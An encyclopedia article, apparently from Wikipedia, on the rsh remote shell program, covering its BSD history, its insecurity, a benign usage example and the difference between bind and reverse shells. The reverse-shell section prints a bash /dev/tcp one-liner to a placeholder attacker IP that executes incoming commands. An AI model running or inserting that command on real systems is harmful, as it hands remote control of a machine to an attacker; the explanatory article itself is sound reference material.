remote shell (rsh)
Initial release1983 (1983)
Written inC
Operating systemCross-platform

The remote shell (rsh) is a command-line computer program that can execute shell commands as another user, and on another computer across a computer network.

The remote system to which rsh connects runs the rsh daemon (rshd). The daemon typically uses the well-known Transmission Control Protocol (TCP) port number 513.

History

Rsh originated as part of the BSD Unix operating system, along with rcp, as part of the rlogin package on 4.2BSD in 1983. rsh has since been ported to other operating systems.

The rsh command has the same name as another common UNIX utility, the restricted shell, which first appeared in PWB/UNIX; in System V Release 4, the restricted shell is often located at /usr/bin/rsh.

As other Berkeley r-commands which involve user authentication, the rsh protocol is not secure for network use, because it sends unencrypted information over the network, among other reasons. Some implementations also authenticate by sending unencrypted passwords over the network. rsh has largely been replaced with the secure shell (ssh) program, even on local networks.[1][2]

Example

As an example of rsh use, the following executes the command mkdir testdir as user remoteuser on the computer host.example.com running a UNIX-like system:

$ rsh -l remoteuser host.example.com "mkdir testdir"

After the command has finished rsh terminates. If no command is specified then rsh will log in on the remote system using rlogin. The network location of the remote computer is looked up using the Domain Name System.

Bind shell and reverse shell

A remote shell session can be initiated by either a local device (which sends commands) or a remote device (on which commands are executed).[3] In the first case remote shell will be called bind shell, in the second case - reverse shell.[4]

Reverse shell can be used when the device on which the command is to be executed is not directly accessible - for example, for remote maintenance of computers located behind NAT that cannot be accessed from the outside.[5][6] Some exploits create reverse shell from an attacked device back to machines controlled by the attackers (called "reverse shell attack"). The following code demonstrates a reverse shell attack:[7]

$ exec 5<>/dev/tcp/<attacker_IP>/80;cat <&5 | while read line; do \$line 2>&5 >&5; done

It opens a TCP socket to attacker IP at port 80 as a file descriptor. It then repeatedly read lines from the socket and run the line, piping both stdout and stderr back to the socket. In other words, it gives the attacker a remote shell on the machine.

See also

References

  1. ↑ "SSH, the Secure Shell: The Definitive Guide". www.researchgate.net. Retrieved 2023-11-11.
  2. ↑ "Secure Shell Protocol – Everything you need to know". dev.to. Retrieved 2023-11-11.
  3. ↑ "Secure Shell (SSH)". www.techtarget.com. Retrieved 2023-11-11.
  4. ↑ "Difference Between Bind Shell and Reverse Shell". www.geeksforgeeks.org. Retrieved 2023-11-11.
  5. ↑ "What is a Reverse Shell?". www.techslang.com. Retrieved 2023-11-11.
  6. ↑ "The Evolution of Remote Shell and the Security Layers of Browser-Based Law Software". www.lawsupport.com.au. Retrieved 2023-11-11.
  7. ↑ "What is a Reverse Shell?". Sysdig. Retrieved 2023-11-28.
This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.